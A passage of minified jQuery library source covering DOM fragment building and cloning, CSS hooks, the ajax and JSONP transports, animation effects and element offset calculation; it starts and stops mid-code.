l=0,m=this.length,n=m-1;l<m;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m>1&&l<n?f.clone(h,!0,!0):h)}k.length&&f.each(k,function(a,b){b.src?f.ajax({type:"GET",global:!1,url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bf,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)})}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b&&b[0]&&(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1&&typeof j=="string"&&j.length<512&&i===c&&j.charAt(0)==="<"&&!bb.test(j)&&(f.support.checkClone||!bd.test(j))&&(f.support.html5Clone||!bc.test(j))&&(g=!0,h=f.fragments[j],h&&h!==1&&(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g&&(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1&&this[0].parentNode;if(g&&g.nodeType===11&&g.childNodes.length===1&&e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h<i;h++){var j=(h>0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test("<"+a.nodeName+">")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,"<$1></$2>");var m=(Z.exec(l)||["",""])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement("div"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m==="table"&&!s?p.firstChild&&p.firstChild.childNodes:n[1]==="<table>"&&!s?p.childNodes:[];for(i=t.length-1;i>=0;--i)f.nodeName(t[i],"tbody")&&!t[i].childNodes.length&&t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace&&X.test(l)&&p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p&&(p.parentNode.removeChild(p),q.length>0&&(r=q[q.length-1],r&&r.parentNode&&r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]&&typeof (u=l.length)=="number")for(i=0;i<u;i++)bn(l[i]);else bn(l);l.nodeType?j.push(l):j=f.merge(j,l)}if(d){g=function(a){return!a.type||be.test(a.type)};for(k=0;j[k];k++){h=j[k];if(e&&f.nodeName(h,"script")&&(!h.type||be.test(h.type)))e.push(h.parentNode?h.parentNode.removeChild(h):h);else{if(h.nodeType===1){var v=f.grep(h.getElementsByTagName("script"),g);j.splice.apply(j,[k+1,0].concat(v))}d.appendChild(h)}}}return j},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName&&f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b&&b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle&&(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute&&i.removeAttribute(f.expando),delete d[c]}}}});var bp=/alpha\([^)]*\)/i,bq=/opacity=([^)]*)/,br=/([A-Z]|^ms)/g,bs=/^[\-+]?(?:\d*\.)?\d+$/i,bt=/^-?(?:\d*\.)?\d+(?!px)[^\d\s]+$/i,bu=/^([\-+])=([\-+.\de]+)/,bv=/^margin/,bw={position:"absolute",visibility:"hidden",display:"block"},bx=["Top","Right","Bottom","Left"],by,bz,bA;f.fn.css=function(a,c){return f.access(this,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)},a,c,arguments.length>1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,"opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView&&c.defaultView.getComputedStyle&&(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b))),!f.support.pixelMargin&&e&&bv.test(b)&&bt.test(c)&&(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle&&(bA=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f==null&&g&&(e=g[b])&&(f=e),bt.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),by=bz||bA,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+"px":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bp,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:"inline-block"},function(){return b?by(a,"margin-right"):a.style.marginRight})}})}),f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:"",padding:"",border:"Width"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\[\]$/,bE=/\r?\n/g,bF=/#.*$/,bG=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\/\//,bL=/\?/,bM=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bN=/^(?:select|textarea)/i,bO=/\s+/,bP=/([?&])_=[^&]*/,bQ=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=["*/"]+["*"];try{bU=e.href}catch(bX){bU=c.createElement("a"),bU.href="",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("<div>").append(c.replace(bM,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,"\r\n")}}):{name:b.name,value:c.replace(bE,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cb(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bF,"").replace(bK,bV[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bO),d.crossDomain==null&&(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]&&r[2]==bV[2]&&(r[3]||(r[1]==="http:"?80:443))==(bV[3]||(bV[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bL.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,"$1_="+x);d.url=y+(y===d.url?(bL.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bW+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bC,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=typeof b.data=="string"&&/^application\/x\-www\-form\-urlencoded/.test(b.contentType);if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct("show",3),a,b,c);for(var g=0,h=this.length;g<h;g++)d=this[g],d.style&&(e=d.style.display,!f._data(d,"olddisplay")&&e==="none"&&(e=d.style.display=""),(e===""&&f.css(d,"display")==="none"||!f.contains(d.ownerDocument.documentElement,d))&&f._data(d,"olddisplay",cu(d.nodeName)));for(g=0;g<h;g++){d=this[g];if(d.style){e=d.style.display;if(e===""||e==="none")d.style.display=f._data(d,"olddisplay")||""}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(ct("hide",3),a,b,c);var d,e,g=0,h=this.length;for(;g<h;g++)d=this[g],d.style&&(e=f.css(d,"display"),e!=="none"&&!f._data(d,"olddisplay")&&f._data(d,"olddisplay",e));for(g=0;g<h;g++)this[g].style&&(this[g].style.display="none");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a=="boolean";f.isFunction(a)&&f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(":hidden");f(this)[b?"show":"hide"]()}):this.animate(ct("toggle",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1&&f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c&&f(this).is(":hidden"),g,h,i,j,k,l,m,n,o,p,q;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g&&(a[g]=a[i],delete a[i]);if((k=f.cssHooks[g])&&"expand"in k){l=k.expand(a[g]),delete a[g];for(i in l)i in a||(a[i]=l[i])}}for(g in a){h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing&&b.specialEasing[g]||b.easing||"swing";if(h==="hide"&&d||h==="show"&&!d)return b.complete.call(this);c&&(g==="height"||g==="width")&&(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,"display")==="inline"&&f.css(this,"float")==="none"&&(!f.support.inlineBlockNeedsLayout||cu(this.nodeName)==="inline"?this.style.display="inline-block":this.style.zoom=1))}b.overflow!=null&&(this.style.overflow="hidden");for(i in a)j=new f.fx(this,b,i),h=a[i],cm.test(h)?(q=f._data(this,"toggle"+i)||(h==="toggle"?d?"show":"hide":0),q?(f._data(this,"toggle"+i,q==="show"?"hide":"show"),j[q]()):j[h]()):(m=cn.exec(h),n=j.cur(),m?(o=parseFloat(m[2]),p=m[3]||(f.cssNumber[i]?"":"px"),p!=="px"&&(f.style(this,i,(o||1)+p),n=(o||1)/j.cur()*n,f.style(this,i,n+p)),m[1]&&(o=(m[1]==="-="?-1:1)*o+n),j.custom(n,o,p)):j.custom(n,h,""));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]&&g[b].stop&&b.indexOf(".run")===b.length-4&&h(this,g,b);else g[b=a+".run"]&&g[b].stop&&h(this,g,b);for(b=e.length;b--;)e[b].elem===this&&(a==null||e[b].queue===a)&&(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)&&f.dequeue(this,a)})}}),f.each({slideDown:ct("show",1),slideUp:ct("hide",1),slideToggle:ct("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a&&typeof a=="object"?f.extend({},a):{complete:c||!c&&b||f.isFunction(a)&&a,duration:a,easing:c&&b||b&&!f.isFunction(b)&&b};d.duration=f.fx.off?0:typeof d.duration=="number"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)&&d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1&&f._unmark(this)};return d},easing:{linear:function(a){return a},swing:function(a){return-Math.cos(a*Math.PI)/2+.5}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cq||cr(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){f._data(e.elem,"fxshow"+e.prop)===b&&(e.options.hide?f._data(e.elem,"fxshow"+e.prop,e.start):e.options.show&&f._data(e.elem,"fxshow"+e.prop,e.end))},h()&&f.timers.push(h)&&!co&&(co=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cq||cr(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(co),co=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(cp.concat.apply([],cp),function(a,b){b.indexOf("margin")&&(f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)})}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cv,cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in c.documentElement?cv=function(a,b,c,d){try{d=a.getBoundingClientRect()}catch(e){}if(!d||!f.contains(c,a))return d?{top:d.top,left:d.left}:{top:0,left:0};var g=b.body,h=cy(b),i=c.clientTop||g.clientTop||0,j=c.clientLeft||g.clientLeft||0,k=h.pageYOffset||f.support.boxModel&&c.scrollTop||g.scrollTop,l=h.pageXOffset||f.support.boxModel&&c.scrollLeft||g.scrollLeft,m=d.top+k-i,n=d.left+l-j;return{top:m,left:n}}:cv=function(a,b,c){var d,e=a.offsetParent,g=a,h=b.body,i=b.defaultView,j=i?i.getComputedStyle(a,null):a.currentStyle,k=a.offsetTop,l=a.offsetLeft;while((a=a.parentNode)&&a!==h&&a!==c){if(f.support.fixedPosition&&j.position==="fixed")break;d=i?i.getComputedStyle(a,null):a.currentStyle,k-=a.scrollTop,l-=a.scrollLeft,a===e&&(k+=a.offsetTop,l+=a.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(a.nodeName))&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),g=e,e=a.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&d.overflow!=="visible"&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),j=d}if(j.position==="relative"||j.position==="static")k+=h.offsetTop,l+=h.offsetLeft;f.support.fixedPosition&&j.position==="fixed"&&(k+=Math.max(c.scrollTop,h.scrollTop),l+=Math.max(c.scrollLeft,h.scrollLeft));return{top:k,left:l}},f.fn.offset=function(a){if(arguments.length)return a===b?this:this.each(function(b){f.offset.setOffset(this,a,b)});var c=this[0],d=c&&c.ownerDocument;if(!d)return null;if(c===d.body)return f.offset.bodyOffset(c);return cv(c,d,d.documentElement)},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return 